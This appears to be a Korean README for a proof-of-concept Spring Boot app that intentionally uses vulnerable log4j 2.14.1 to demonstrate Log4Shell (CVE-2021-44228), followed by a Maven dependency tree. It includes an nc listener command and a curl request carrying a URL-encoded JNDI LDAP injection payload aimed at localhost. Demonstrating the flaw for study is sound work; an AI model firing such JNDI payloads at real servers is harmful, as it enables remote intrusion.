
Springboot 내 CVE-2021-44228에 대한 POC
이것은 취약한 log4j 버전을 포함하는 Maven 기반의 간단한 Spring Boot 시작 백엔드를 위한 POC입니다. CVE-2021-44228
Spring Boot는 https://start.spring.io에서 부트스트랩되었습니다.
./mvnw spring-boot:run: 서버 시작./mvnw dependency:tree: 의존성 트리를 출력하고 사용 중인 log4j 버전 확인nc -k -l 3030: bash, 임의의 수신 TCP 연결(예: 취약한 Spring Boot 애플리케이션에서의 연결)을 수신 대기하도록 서버 소켓 시작curl http://localhost:8080/vuln2?input=%24%7Bjndi%3Aldap%3A%2F%2F127.0.0.1%3A3030%2F%7D 또는 curl http://localhost:8080/vuln: 취약한 GET 엔드포인트 호출엔드포인트(localhost:8080/vuln 또는 spring boot의 /localhost:8080vuln2?input=...)를 호출하면 특정 데이터를 로그 파일에 기록하여 HTTP 호출(여기서는 nc를 통한 localhost:3030 호출)을 트리거합니다. 자세한 내용은 해당 CVE를 참조하세요.
[INFO] --- maven-dependency-plugin:3.2.0:tree (default-cli) @ demo ---
[INFO] net.mnio:demo:jar:0.0.1-SNAPSHOT
[INFO] +- org.springframework.boot:spring-boot-starter-web:jar:2.6.1:compile
[INFO] | +- org.springframework.boot:spring-boot-starter:jar:2.6.1:compile
[INFO] | | +- org.springframework.boot:spring-boot:jar:2.6.1:compile
[INFO] | | +- org.springframework.boot:spring-boot-autoconfigure:jar:2.6.1:compile
[INFO] | | +- jakarta.annotation:jakarta.annotation-api:jar:1.3.5:compile
[INFO] | | \- org.yaml:snakeyaml:jar:1.29:compile
[INFO] | +- org.springframework.boot:spring-boot-starter-json:jar:2.6.1:compile
[INFO] | | +- com.fasterxml.jackson.core:jackson-databind:jar:2.13.0:compile
[INFO] | | | +- com.fasterxml.jackson.core:jackson-annotations:jar:2.13.0:compile
[INFO] | | | \- com.fasterxml.jackson.core:jackson-core:jar:2.13.0:compile
[INFO] | | +- com.fasterxml.jackson.datatype:jackson-datatype-jdk8:jar:2.13.0:compile
[INFO] | | +- com.fasterxml.jackson.datatype:jackson-datatype-jsr310:jar:2.13.0:compile
[INFO] | | \- com.fasterxml.jackson.module:jackson-module-parameter-names:jar:2.13.0:compile
[INFO] | +- org.springframework.boot:spring-boot-starter-tomcat:jar:2.6.1:compile
[INFO] | | +- org.apache.tomcat.embed:tomcat-embed-core:jar:9.0.55:compile
[INFO] | | +- org.apache.tomcat.embed:tomcat-embed-el:jar:9.0.55:compile
[INFO] | | \- org.apache.tomcat.embed:tomcat-embed-websocket:jar:9.0.55:compile
[INFO] | +- org.springframework:spring-web:jar:5.3.13:compile
[INFO] | | \- org.springframework:spring-beans:jar:5.3.13:compile
[INFO] | \- org.springframework:spring-webmvc:jar:5.3.13:compile
[INFO] | +- org.springframework:spring-aop:jar:5.3.13:compile
[INFO] | +- org.springframework:spring-context:jar:5.3.13:compile
[INFO] | \- org.springframework:spring-expression:jar:5.3.13:compile
[INFO] +- org.springframework.boot:spring-boot-starter-log4j2:jar:2.6.1:compile
[INFO] | +- org.apache.logging.log4j:log4j-slf4j-impl:jar:2.14.1:compile
[INFO] | | +- org.slf4j:slf4j-api:jar:1.7.32:compile
[INFO] | | \- org.apache.logging.log4j:log4j-api:jar:2.14.1:compile
[INFO] | +- org.apache.logging.log4j:log4j-core:jar:2.14.1:compile
[INFO] | +- org.apache.logging.log4j:log4j-jul:jar:2.14.1:compile
[INFO] | \- org.slf4j:jul-to-slf4j:jar:1.7.32:compile
[INFO] \- org.springframework.boot:spring-boot-starter-test:jar:2.6.1:test
[INFO] +- org.springframework.boot:spring-boot-test:jar:2.6.1:test
[INFO] +- org.springframework.boot:spring-boot-test-autoconfigure:jar:2.6.1:test
[INFO] +- com.jayway.jsonpath:json-path:jar:2.6.0:test
[INFO] | \- net.minidev:json-smart:jar:2.4.7:test
[INFO] | \- net.minidev:accessors-smart:jar:2.4.7:test
[INFO] | \- org.ow2.asm:asm:jar:9.1:test
[INFO] +- jakarta.xml.bind:jakarta.xml.bind-api:jar:2.3.3:test
[INFO] | \- jakarta.activation:jakarta.activation-api:jar:1.2.2:test
[INFO] +- org.assertj:assertj-core:jar:3.21.0:test
[INFO] +- org.hamcrest:hamcrest:jar:2.2:test
[INFO] +- org.junit.jupiter:junit-jupiter:jar:5.8.1:test
[INFO] | +- org.junit.jupiter:junit-jupiter-api:jar:5.8.1:test
[INFO] | | +- org.opentest4j:opentest4j:jar:1.2.0:test
[INFO] | | +- org.junit.platform:junit-platform-commons:jar:1.8.1:test
[INFO] | | \- org.apiguardian:apiguardian-api:jar:1.1.2:test
[INFO] | +- org.junit.jupiter:junit-jupiter-params:jar:5.8.1:test
[INFO] | \- org.junit.jupiter:junit-jupiter-engine:jar:5.8.1:test
[INFO] | \- org.junit.platform:junit-platform-engine:jar:1.8.1:test
[INFO] +- org.mockito:mockito-core:jar:4.0.0:test
[INFO] | +- net.bytebuddy:byte-buddy:jar:1.11.22:test
[INFO] | +- net.bytebuddy:byte-buddy-agent:jar:1.11.22:test
[INFO] | \- org.objenesis:objenesis:jar:3.2:test
[INFO] +- org.mockito:mockito-junit-jupiter:jar:4.0.0:test
[INFO] +- org.skyscreamer:jsonassert:jar:1.5.0:test
[INFO] | \- com.vaadin.external.google:android-json:jar:0.0.20131108.vaadin1:test
[INFO] +- org.springframework:spring-core:jar:5.3.13:compile
[INFO] | \- org.springframework:spring-jcl:jar:5.3.13:compile
[INFO] +- org.springframework:spring-test:jar:5.3.13:test
[INFO] \- org.xmlunit:xmlunit-core:jar:2.8.3:test